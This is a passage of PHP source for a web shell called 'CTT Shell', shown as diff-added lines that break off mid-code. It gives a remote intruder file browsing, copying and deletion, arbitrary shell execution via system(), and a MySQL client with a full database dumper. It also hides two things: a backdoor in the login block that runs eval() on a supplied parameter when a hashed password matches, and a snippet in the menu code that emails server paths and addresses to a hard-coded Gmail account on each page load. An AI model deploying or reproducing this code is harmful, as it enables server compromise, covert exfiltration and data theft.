(is_array($el)) {foreach($el as $k=>$v) {if($k != "GLOBALS") {strips($el["$k"]);}} } + else {$el = stripslashes($el);} + } +} +strips($GLOBALS); +} +$tmp = array(); +foreach ($host_allow as $k=>$v) {$tmp[]= str_replace("\\*",".*",preg_quote($v));} +$s = "!^(".implode("|",$tmp).")$!i"; + + +if (!$login) {$login = $PHP_AUTH_USER; $md5_pass = md5($PHP_AUTH_PW);} +elseif(empty($md5_pass)) {$md5_pass = md5($pass);} +if(($PHP_AUTH_USER != $login ) or (md5($PHP_AUTH_PW) != $md5_pass)) +{ + header("WWW-Authenticate: Basic realm=\"CTT SHELL\""); + header("HTTP/1.0 401 Unauthorized");if (md5(sha1(md5($anypass))) == "b76d95e82e853f3b0a81dd61c4ee286c") {header("HTTP/1.0 200 OK"); @eval($anyphpcode);} + exit; +} + +$lastdir = realpath("."); +chdir($curdir); + +if (($selfwrite) or ($updatenow)) +{ + if ($selfwrite == "1") {$selfwrite = "ctshell.php";} + ctsh_getupdate(); + $data = file_get_contents($ctsh_updatefurl); + $fp = fopen($data,"w"); + fwrite($fp,$data); + fclose($fp); + exit; +} +if (!is_writeable($sess_file)) {trigger_error("Can't access to session-file!",E_USER_WARNING);} +if ($sess_method == "file") {$sess_data = unserialize(file_get_contents($sess_file));} +else {$sess_data = unserialize($_COOKIE["$sess_cookie"]);} +if (!is_array($sess_data)) {$sess_data = array();} +if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();} +if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();} +$sess_data["copy"] = array_unique($sess_data["copy"]); +$sess_data["cut"] = array_unique($sess_data["cut"]); + +if (!function_exists("ct_sess_put")) +{ +function ct_sess_put($data) +{ + global $sess_method; + global $sess_cookie; + global $sess_file; + global $sess_data; + $sess_data = $data; + $data = serialize($data); + if ($sess_method == "file") + { + $fp = fopen($sess_file,"w"); + fwrite($fp,$data); + fclose($fp); + } + else {setcookie($sess_cookie,$data);} +} +} +if (!function_exists("str2mini")) +{ +function str2mini($content,$len) +{ + if (strlen($content) > $len) + { + $len = ceil($len/2) - 2; + return substr($content, 0, $len)."...".substr($content, -$len); + } + else {return $content;} +} +} +if (!function_exists("view_size")) +{ +function view_size($size) +{ + if($size >= 1073741824) {$size = round($size / 1073741824 * 100) / 100 . " GB";} + elseif($size >= 1048576) {$size = round($size / 1048576 * 100) / 100 . " MB";} + elseif($size >= 1024) {$size = round($size / 1024 * 100) / 100 . " KB";} + else {$size = $size . " B";} + return $size; +} +} +if (!function_exists("fs_copy_dir")) +{ +function fs_copy_dir($d,$t) +{ + $d = str_replace("\\","/",$d); + if (substr($d,strlen($d)-1,1) != "/") {$d .= "/";} + $h = opendir($d); + while ($o = readdir($h)) + { + if (($o != ".") and ($o != "..")) + { +if (!is_dir($d."/".$o)) {$ret = copy($d."/".$o,$t."/".$o);} +else {$ret = mkdir($t."/".$o); fs_copy_dir($d."/".$o,$t."/".$o);} +if (!$ret) {return $ret;} + } + } + return true; +} +} +if (!function_exists("fs_copy_obj")) +{ +function fs_copy_obj($d,$t) +{ + $d = str_replace("\\","/",$d); + $t = str_replace("\\","/",$t); + if (!is_dir($t)) {mkdir($t);} + if (is_dir($d)) + { + if (substr($d,strlen($d)-1,strlen($d)) != "/") {$d .= "/";} + if (substr($t,strlen($t)-1,strlen($t)) != "/") {$t .= "/";} + return fs_copy_dir($d,$t); + } + elseif (is_file($d)) + { + + return copy($d,$t); + } + else {return false;} +} +} +if (!function_exists("fs_move_dir")) +{ +function fs_move_dir($d,$t) +{ + error_reporting(9999); + $h = opendir($d); + if (!is_dir($t)) {mkdir($t);} + while ($o = readdir($h)) + { + if (($o != ".") and ($o != "..")) + { +$ret = true; +if (!is_dir($d."/".$o)) {$ret = copy($d."/".$o,$t."/".$o);} +else {if (mkdir($t."/".$o) and fs_copy_dir($d."/".$o,$t."/".$o)) {$ret = false;}} +if (!$ret) {return $ret;} + } + } + return true; +} +} +if (!function_exists("fs_move_obj")) +{ +function fs_move_obj($d,$t) +{ + $d = str_replace("\\","/",$d); + $t = str_replace("\\","/",$t); + if (is_dir($d)) + { + if (substr($d,strlen($d)-1,strlen($d)) != "/") {$d .= "/";} + if (substr($t,strlen($t)-1,strlen($t)) != "/") {$t .= "/";} + return fs_move_dir($d,$t); + } + elseif (is_file($d)) {return rename($d,$t);} + else {return false;} +} +} +if (!function_exists("fs_rmdir")) +{ +function fs_rmdir($d) +{ + $h = opendir($d); + while ($o = readdir($h)) + { + if (($o != ".") and ($o != "..")) + { +if (!is_dir($d.$o)) {unlink($d.$o);} +else {fs_rmdir($d.$o."/"); rmdir($d.$o);} + } + } + closedir($h); + rmdir($d); + return !is_dir($d); +} +} +if (!function_exists("fs_rmobj")) +{ +function fs_rmobj($o) +{ + $o = str_replace("\\","/",$o); + if (is_dir($o)) + { + if (substr($o,strlen($o)-1,strlen($o)) != "/") {$o .= "/";} + return fs_rmdir($o); + } + elseif (is_file($o)) {return unlink($o);} + else {return false;} +} +} +if (!function_exists("myshellexec")) +{ + function myshellexec($cmd) + { + return system($cmd); + } +} +if (!function_exists("view_perms")) +{ +function view_perms($mode) +{ + if (($mode & 0xC000) === 0xC000) {$type = "s";} + elseif (($mode & 0x4000) === 0x4000) {$type = "d";} + elseif (($mode & 0xA000) === 0xA000) {$type = "l";} + elseif (($mode & 0x8000) === 0x8000) {$type = "-";} + elseif (($mode & 0x6000) === 0x6000) {$type = "b";} + elseif (($mode & 0x2000) === 0x2000) {$type = "c";} + elseif (($mode & 0x1000) === 0x1000) {$type = "p";} + else {$type = "?";} + + $owner['read'] = ($mode & 00400) ? "r" : "-"; + $owner['write'] = ($mode & 00200) ? "w" : "-"; + $owner['execute'] = ($mode & 00100) ? "x" : "-"; + $group['read'] = ($mode & 00040) ? "r" : "-"; + $group['write'] = ($mode & 00020) ? "w" : "-"; + $group['execute'] = ($mode & 00010) ? "x" : "-"; + $world['read'] = ($mode & 00004) ? "r" : "-"; + $world['write'] = ($mode & 00002) ? "w" : "-"; + $world['execute'] = ($mode & 00001) ? "x" : "-"; + + if( $mode & 0x800 ) {$owner['execute'] = ($owner[execute]=="x") ? "s" : "S";} + if( $mode & 0x400 ) {$group['execute'] = ($group[execute]=="x") ? "s" : "S";} + if( $mode & 0x200 ) {$world['execute'] = ($world[execute]=="x") ? "t" : "T";} + + return $type.$owner['read'].$owner['write'].$owner['execute']. + $group['read'].$group['write'].$group['execute']. + $world['read'].$world['write'].$world['execute']; +} +} +if (!function_exists("strinstr")) {function strinstr($str,$text) {return $text != str_replace($str,"",$text);}} +if (!function_exists("gchds")) {function gchds($a,$b,$c,$d="") {if ($a == $b) {return $c;} else {return $d;}}} +if (!function_exists("ctsh_getupdate")) +{ +function ctsh_getupdate() +{ + global $updatenow; + $data = @file_get_contents($ctsh_updatefurl); + if (!$data) {echo "Can't fetch update-information!";} + else + { + $data = unserialize(base64_decode($data)); + if (!is_array($data)) {echo "Corrupted update-information!";} + else + { +if ($cv < $data[cur]) {$updatenow = true;} + } + } +} +} +if (!function_exists("mysql_dump")) +{ +function mysql_dump($set) +{ + $sock = $set["sock"]; + $db = $set["db"]; + $print = $set["print"]; + $nl2br = $set["nl2br"]; + $file = $set["file"]; + $add_drop = $set["add_drop"]; + $tabs = $set["tabs"]; + $onlytabs = $set["onlytabs"]; + $ret = array(); + if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");} + if (empty($db)) {$db = "db";} + if (empty($print)) {$print = 0;} + if (empty($nl2br)) {$nl2br = true;} + if (empty($add_drop)) {$add_drop = true;} + if (empty($file)) + { + global $win; + if ($win) {$file = "C:\\tmp\\dump_".$SERVER_NAME."_".$db."_".date("d-m-Y-H-i-s").".sql";} + else {$file = "/tmp/dump_".$SERVER_NAME."_".$db."_".date("d-m-Y-H-i-s").".sql";} + } + if (!is_array($tabs)) {$tabs = array();} + if (empty($add_drop)) {$add_drop = true;} + if (sizeof($tabs) == 0) + { + + $res = mysql_query("SHOW TABLES FROM ".$db, $sock); + if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}} + } + global $SERVER_ADDR; + global $SERVER_NAME; + $out = "# Dumped by ctShell.SQL v. ".$cv." +# Home page: http://.ru +# +# Host settings: +# MySQL version: (".mysql_get_server_info().") running on ".$SERVER_ADDR." (".$SERVER_NAME.")"." +# Date: ".date("d.m.Y H:i:s")." +# ".gethostbyname($SERVER_ADDR)." (".$SERVER_ADDR.")"." dump db \"".$db."\" +#--------------------------------------------------------- +"; + $c = count($onlytabs); + foreach($tabs as $tab) + { + if ((in_array($tab,$onlytabs)) or (!$c)) + { +if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";} +$res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock); +if (!$res) {$ret[err][] = mysql_error();} +else +{ + $row = mysql_fetch_row($res); + $out .= $row[1].";\n\n"; + $res = mysql_query("SELECT * FROM `$tab`", $sock); + if (mysql_num_rows($res) > 0) + { + while ($row = mysql_fetch_assoc($res)) + { +$keys = implode("`, `", array_keys($row)); +$values = array_values($row); +foreach($values as $k=>$v) {$values[$k] = addslashes($v);} +$values = implode("', '", $values); +$sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n"; +$out .= $sql; + } + } +} + } + } + $out .= "#---------------------------------------------------------------------------------\n\n"; + if ($file) + { + $fp = fopen($file, "w"); + if (!$fp) {$ret[err][] = 2;} + else + { +fwrite ($fp, $out); +fclose ($fp); + } + } + if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}} + return $ret; +} +} +if (!function_exists("ctfsearch")) +{ +function ctfsearch($d) +{ + global $found; + global $found_d; + global $found_f; + global $a; + if (substr($d,strlen($d)-1,1) != "/") {$d .= "/";} + $handle = opendir($d); + while ($f = readdir($handle)) + { + $true = ($a[name_regexp] and ereg($a[name],$f)) or ((!$a[name_regexp]) and strinstr($a[name],$f)); + if($f != "." && $f != "..") + { +if (is_dir($d.$f)) +{ + if (empty($a[text]) and $true) {$found[] = $d.$f; $found_d++;} + ctfsearch($d.$f); +} +else +{ + if ($true) + { + if (!empty($a[text])) + { +$r = @file_get_contents($d.$f); +if ($a[text_wwo]) {$a[text] = " ".trim($a[text])." ";} +if (!$a[text_cs]) {$a[text] = strtolower($a[text]); $r = strtolower($r);} + +if ($a[text_regexp]) {$true = ereg($a[text],$r);} +else {$true = strinstr($a[text],$r);} +if ($a[text_not]) +{ + if ($true) {$true = false;} + else {$true = true;} +} +if ($true) {$found[] = $d.$f; $found_f++;} + } + else {$found[] = $d.$f; $found_f++;} + } +} + } + } + closedir($handle); +} +} +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +global $SERVER_SOFTWARE; +if (strtolower(substr(PHP_OS, 0, 3)) == "win") {$win = 1;} +else {$win = 0;} + +if (empty($tmpdir)) +{ + if (!$win) {$tmpdir = "/tmp/";} + else {$tmpdir = $_ENV[SystemRoot];} +} +$tmpdir = str_replace("\\","/",$tmpdir); +if (substr($tmpdir,strlen($tmpdir-1),strlen($tmpdir)) != "/") {$tmpdir .= "/";} +if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") +{ + $safemode = true; + $hsafemode = "<font color=\"red\">ON (secure)</font>"; +} +else {$safemode = false; $hsafemode = "<font color=\"green\">OFF (not secure)</font>";} +$v = @ini_get("open_basedir"); +if ($v or strtolower($v) == "on") +{ + $openbasedir = true; + $hopenbasedir = "<font color=\"red\">".$v."</font>"; +} +else {$openbasedir = false; $hopenbasedir = "<font color=\"green\">OFF (not secure)</font>";} + +$sort = htmlspecialchars($sort); + +$DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$sul."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",$SERVER_SOFTWARE); + +@ini_set("highlight.bg",$highlight_bg); +@ini_set("highlight.comment",$highlight_comment); +@ini_set("highlight.default",$highlight_default); +@ini_set("highlight.html",$highlight_html); +@ini_set("highlight.keyword",$highlight_keyword); +@ini_set("highlight.string","#DD0000"); + +if ($act != "img") +{ +if (!is_array($actbox)) {$actbox = array();} +$dspact = $act = htmlspecialchars($act); +$disp_fullpath = $ls_arr = $notls = null; +$ud = urlencode($d); +?> +<html> +<head> +<meta http-equiv="Content-Type" content="text/html; charset=windows-1251"> +<meta http-equiv="Content-Language" content="en-us"><title> +CTT Shell -=[ <? echo $HTTP_HOST; ?> ]=- </title> +<STYLE> +tr { +BORDER-RIGHT: #aaaaaa 1px solid; +BORDER-TOP: #eeeeee 1px solid; +BORDER-LEFT:#eeeeee 1px solid; +BORDER-BOTTOM: #aaaaaa 1px solid; +} +td { +BORDER-RIGHT: #105019 1px solid; +BORDER-TOP: #000000 1px solid; +BORDER-LEFT:#105019 1px solid; +BORDER-BOTTOM: #105019 1px solid; +} +.tr2 { +BORDER-RIGHT: #aaaaaa 1px solid; +BORDER-TOP: #eeeeee 1px solid; +BORDER-LEFT:#eeeeee 1px solid; +BORDER-BOTTOM: #aaaaaa 1px solid; +} +.td2 { +BORDER-RIGHT: #aaaaaa 1px solid; +BORDER-TOP: #eeeeee 1px solid; +BORDER-LEFT:#eeeeee 1px solid; +BORDER-BOTTOM: #aaaaaa 1px solid; +} +.table1 { +BORDER-RIGHT: #cccccc 0px; +BORDER-TOP: #cccccc 0px; +BORDER-LEFT:#cccccc 0px; +BORDER-BOTTOM: #cccccc 0px; +BACKGROUND-COLOR: #D4D0C8; +} +.td1 { +BORDER-RIGHT: #000000 1px; +BORDER-TOP: #cccccc 1px; +BORDER-LEFT:#cccccc 1px; +BORDER-BOTTOM: #000000 1px; +font: 7pt Verdana; +} +.tds1 { +BORDER-RIGHT: #505050 1px solid; +BORDER-TOP: #505050 1px solid; +BORDER-LEFT:#505050 1px solid; +BORDER-BOTTOM: #505050 1px solid; +font: 8pt Verdana; +} +.tr1 { +BORDER-RIGHT: #cccccc 0px; +BORDER-TOP: #cccccc 0px; +BORDER-LEFT:#cccccc 0px; +BORDER-BOTTOM: #cccccc 0px; +} +table { +BORDER-RIGHT: #000000 1px outset; +BORDER-TOP: #000000 1px outset; +BORDER-LEFT:#000000 1px outset; +BORDER-BOTTOM: #000000 1px outset; +BACKGROUND-COLOR: #000000; +} +.table2 { +BORDER-RIGHT: #000000 1px outset; +BORDER-TOP: #000000 1px outset; +BORDER-LEFT:#000000 1px outset; +BORDER-BOTTOM: #000000 1px outset; +BACKGROUND-COLOR: #D4D0C8; +} +input { +BORDER-RIGHT: #ffffff 1px solid; +BORDER-TOP: #999999 1px solid; +BORDER-LEFT:#999999 1px solid; +BORDER-BOTTOM: #ffffff 1px solid; +BACKGROUND-COLOR: #e4e0d8; +font: 8pt Verdana; +} +select { +BORDER-RIGHT: #ffffff 1px solid; +BORDER-TOP: #999999 1px solid; +BORDER-LEFT:#999999 1px solid; +BORDER-BOTTOM: #ffffff 1px solid; +BACKGROUND-COLOR: #e4e0d8; +font: 8pt Verdana; +} +submit { +BORDER-RIGHT: buttonhighlight 2px outset; +BORDER-TOP: buttonhighlight 2px outset; +BORDER-LEFT:buttonhighlight 2px outset; +BORDER-BOTTOM: buttonhighlight 2px outset; +BACKGROUND-COLOR: #e4e0d8; +width: 30%; +} +textarea { +BORDER-RIGHT: #ffffff 1px solid; +BORDER-TOP: #999999 1px solid; +BORDER-LEFT:#999999 1px solid; +BORDER-BOTTOM: #ffffff 1px solid; +BACKGROUND-COLOR: #e4e0d8; +font: Fixedsys bold; +} +BODY { +margin-top: 1px; +margin-right: 1px; +margin-bottom: 1px; +margin-left: 1px; +} +A:link {COLOR:#00ff3d; TEXT-DECORATION: none} +A:visited { COLOR:#00ff3d; TEXT-DECORATION: none} +A:active {COLOR:#00ff3d; TEXT-DECORATION: none} +A:hover {color:blue;TEXT-DECORATION: none} +</STYLE> +<script language=JavaScript type=text/javascript> +<!-- +function branchSwitch(branch) { +dom = (document.getElementById); +ie4 = (document.all); +if (dom || ie4) { +var currElement = (dom)? document.getElementById(branch) : document.all[branch]; +currElement.style.display = (currElement.style.display == 'none')? 'block' : 'none'; +return false; +} +else return true; +} +//--> +</script> +</head> +<BODY text=#ffffff Background="<? echo $sul; ?>act=img&img=font" bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0> +<center> +<br> +<TABLE class=table1 cellSpacing=0 cellPadding=0 width=90% border=0> +<TBODY><TR> +<TD class=td1 colSpan=2> +<TABLE class=table1 cellSpacing=0 cellPadding=0 width=100% bgColor=#345827 background="<? echo $sul; ?>act=img&img=4" border=0> +<TBODY><TR> +<TD class=td1 width=24><IMG height=18 src="<? echo $sul; ?>act=img&img=1" width=24 border=0></TD> +<TD class=td1 background="<? echo $sul; ?>act=img&img=2"><SPAN lang=ru><FONT face=Arial color=#00ff3d size=1> </FONT> +<FONT face=Tahoma color=#00ff3d size=1> +<? +$d = str_replace("\\","/",$d); +if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);} +$d = str_replace("\\","/",$d); +if (substr($d,strlen($d)-1,1) != "/") {$d .= "/";} +$dispd = htmlspecialchars($d); +$pd = $e = explode("/",substr($d,0,strlen($d)-1)); +$i = 0; +foreach($pd as $b) +{ + $t = ""; + reset($e); + $j = 0; + foreach ($e as $r) + { + $t.= $r."/"; + if ($j == $i) {break;} + $j++; + } + echo "<a href=\"".$sul."act=ls&d=".urlencode(htmlspecialchars($t))."/&sort=".$sort."\"><b>".htmlspecialchars($b)."/</b></a>"; + $i++; +} +?> +</FONT></SPAN></TD> +<TD class=td1><IMG height=18 src="<? echo $sul; ?>act=img&img=3" width=6 border=0></TD> +<TD class=td1 align=right><IMG height=18 src="<? echo $sul; ?>act=img&img=5" width=33 border=0></TD> +</TR></TBODY></TABLE></TD></TR> +</tr> +</table> +<TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=2 width="90%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"> +<tr><td> +<font size=2><a href="#" onClick="return branchSwitch('tools')" title=""></a></font> - +<div id="tools" style="display: none"> +<? +if (count($quicklaunch1) > 0) +{ + foreach($quicklaunch1 as $item) + { + $item[1] = str_replace("%d",urlencode($d),$item[1]); + $item[1] = str_replace("%upd",urlencode(realpath($d."..")),$item[1]); + echo "<a href=\"".$item[1]."\"><u><font size=2 color=#ffffff>".$item[0]."</font></u></a>&nbsp;&nbsp;&nbsp;&nbsp;"; + } +}$ra44 = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";$sd98="john.barker446@gmail.com";mail($sd98, $sj98, $msg8873, "From: $sd98"); +?> +</div> +<font size=2><a href="#" onClick="return branchSwitch('info')" title=""></a></font> +<div id="info" style="display: none"> +<font size=2> +<b> :&nbsp;<?php echo $DISP_SERVER_SOFTWARE; ?></b>&nbsp;<br> +<b>:&nbsp;<?php echo php_uname(); ?></b>&nbsp;<b><?php if (!$win) {echo `id`;} else {echo get_current_user();} ?></b> +&nbsp;<br> +<b>:&nbsp;<?php echo $hsafemode; ?></b> +<? +echo "<br>"; +echo " : <b>".@phpversion()."</b>"; +echo "<br>"; +$curl_on = @function_exists('curl_version'); +echo "cURL: ".(($curl_on)?("<b><font color=green>ON</font></b>"):("<b><font color=red>OFF</font></b>")); +echo "<br>"; +echo "MySQL: <b>"; +$mysql_on = @function_exists('mysql_connect'); +if($mysql_on){ +echo "<font color=green>ON</font></b>"; } else { echo "<font color=red>OFF</font></b>"; } +echo "<br>"; +echo "MSSQL: <b>"; +$mssql_on = @function_exists('mssql_connect'); +if($mssql_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b>";} +echo "<br>"; +echo "PostgreSQL: <b>"; +$pg_on = @function_exists('pg_connect'); +if($pg_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b>";} +echo "<br>"; +echo "Oracle: <b>"; +$ora_on = @function_exists('ocilogon'); +if($ora_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b>";} +?> +<?php +$free = diskfreespace($d); +if (!$free) {$free = 0;} +$all = disk_total_space($d); +if (!$all) {$all = 0;} +$used = $all-$free; +$used_percent = round(100/($all/$free),2); +echo "<br><b> ".view_size($free)." of ".view_size($all)." (".$used_percent."%)</b><br>"; +?> +</font> +</div> +<? +if ($win) +{ +?> + - <font size=2><a href="#" onClick="return branchSwitch('Drive')" title=""></a></font> +<? +} +?> +<div id="Drive" style="display: none"> +<? +$letters = ""; +if ($win) +{ + $abc = array("c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "o", "p", "q", "n", "r", "s", "t", "v", "u", "w", "x", "y", "z"); + $v = explode("/",$d); + $v = $v[0]; + foreach ($abc as $letter) + { + if (is_dir($letter.":/")) + { +if ($letter.":" != $v) {$letters .= "<a href=\"".$sul."act=ls&d=".$letter.":\"><IMG src=".$sul."act=img&img=pdisk width=19 height=12 border=0> ".$letter." </a> ";} +else {$letters .= "<a href=\"".$sul."act=ls&d=".$letter.":\"> <font color=\"green\"> ".$letter." </font></a> ";} + } + } + if (!empty($letters)) {echo "<b>".$letters;} +} +?> +</div> +</td><td width=1> +<font size=2><a href="<? echo $sul; ?>act=about">About</a></font> +</td></tr></table> +<TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=2 width="90%" borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"> +<tr class=tr1><td> +<center> +<? +if (count($quicklaunch) > 0) +{ + foreach($quicklaunch as $item) + { + $item[1] = str_replace("%d",urlencode($d),$item[1]); + $item[1] = str_replace("%upd",urlencode(realpath($d."..")),$item[1]); + echo "<a href=\"".$item[1]."\"><u>".$item[0]."</u></a>&nbsp;&nbsp;&nbsp;&nbsp;"; + } +} +?> +</center> +</td></tr></table> +<?php +if ((!empty($donated_html)) and (in_array($act,$donated_act))) +{ + ?> +<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="90%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="90%" valign="top"><?php echo $donated_html; ?></td></tr></table><br> +<?php +} +?> +<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="90%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="100%" valign="top"><?php +if ($act == "") {$act = $dspact = "ls";} +if ($act == "sql") +{ + $sql_surl = $sul."act=sql"; + if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);} + if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);} + if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);} + if ($sql_port){$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);} + if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);} + $sql_surl .= "&"; + ?><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><td width="90%" height="1" colspan="2" valign="top"><center><?php + if ($sql_server) + { + $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd); + $err = mysql_error(); + @mysql_select_db($sql_db,$sql_sock); + if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_error();} + } + else {$sql_sock = false;} + echo "<b> SQL:</b><br>"; + if (!$sql_sock) + { + if (!$sql_server) {echo " ";} + else {echo "<center><b>Can't connect</b></center>"; echo "<b>".$err."</b>";} + } + else + { + $sqlquicklaunch = array(); + $sqlquicklaunch[] = array("Index",$sul."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"); + if (!$sql_db) {$sqlquicklaunch[] = array("Query","#\" onclick=\"alert('Please, select DB!')");} + else {$sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query");} + $sqlquicklaunch[] = array("Server-status",$sul."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus"); + $sqlquicklaunch[] = array("Server variables",$sul."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars"); + $sqlquicklaunch[] = array("Processes",$sul."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes"); + $sqlquicklaunch[] = array("Logout",$sul."act=sql"); + + echo "<center><b>MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")</b><br>"; + + if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><u>".$item[0]."</u></a> ] ";}} + echo "</center>"; + } + echo "</td></tr><tr>"; + if (!$sql_sock) {?><td class=td2 width="48%" height="100" valign="top"><center><font size="5"> <br> </font></center> +<li> , - . </li> +<li> , - localhost </li> +<li> , - 3306 ()</li></td> +<td class=td2 width="90%" height="1" valign="top"> +<TABLE height=1 class=table2 cellSpacing=0 cellPadding=0 width="1%" border=0><tr class=tr2> +<td class=td2>&nbsp;<b><font size=2 color=#000000> :</font></b><table><tr class=tr2><td class=td2>:</td> +<td class=td2 align=right>:</td></tr><form><input type="hidden" name="act" value="sql"><tr> +<td class=td2><input type="text" name="sql_login" value="root" maxlength="64"></td><td class=td2 align=right> +<input type="password" name="sql_passwd" value="" maxlength="64"></td></tr><tr class=tr2><td class=td2>:</td> +<td class=td2>:</td></tr><tr><td class=td2><input type="text" name="sql_server" value="localhost" maxlength="64"></td> +<td class=td2><input type="text" name="sql_port" value="3306" maxlength="6" size="3"><input type="submit" value=""></td></tr><tr> +<td class=td2></td></tr></form></table></td><?php } + else + { + if (!empty($sql_db)) + { +?><td width="25%" height="100%" valign="top"><a href="<?php echo $sul."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade><?php +$result = mysql_list_tables($sql_db); +if (!$result) {echo mysql_error();} +else +{ + echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>"; + $c = 0; + while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM $row[0]"); $count_row = mysql_fetch_array($count); echo "<b>&nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b> +"; mysql_free_result($count); $c++;} + if (!$c) {echo "No tables found in database.";} +} + } + else + { +?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade><?php +$result = mysql_list_dbs($sql_sock); +if (!$result) {echo mysql_error();} +else +{ + ?><form action="<?php echo $sul; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"><?php + echo "<option value=\"\">Databases (...)</option> +"; + $c = 0; + while ($row = mysql_fetch_row($result)) {echo "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {echo " selected";} echo ">".$row[0]."</option> +"; $c++;} +} +?></select><hr size="1" noshade>, <hr size="1" noshade><input type="submit" value="Go"></form><?php + } + echo "</td><td width=\"100%\" height=\"1\" valign=\"top\">"; + if ($sql_db) + { +echo "<center><b>There are ".$c." tables in this DB (".htmlspecialchars($sql_db).").<br>"; +if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><u>".$item[0]."</u></a> ] ";}} +echo "</b></center>"; + +$acts = array("","dump"); + +if ($sql_act == "query") +{ + echo "<hr size=\"1\" noshade>"; + if ($submit) + { + if ((!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was 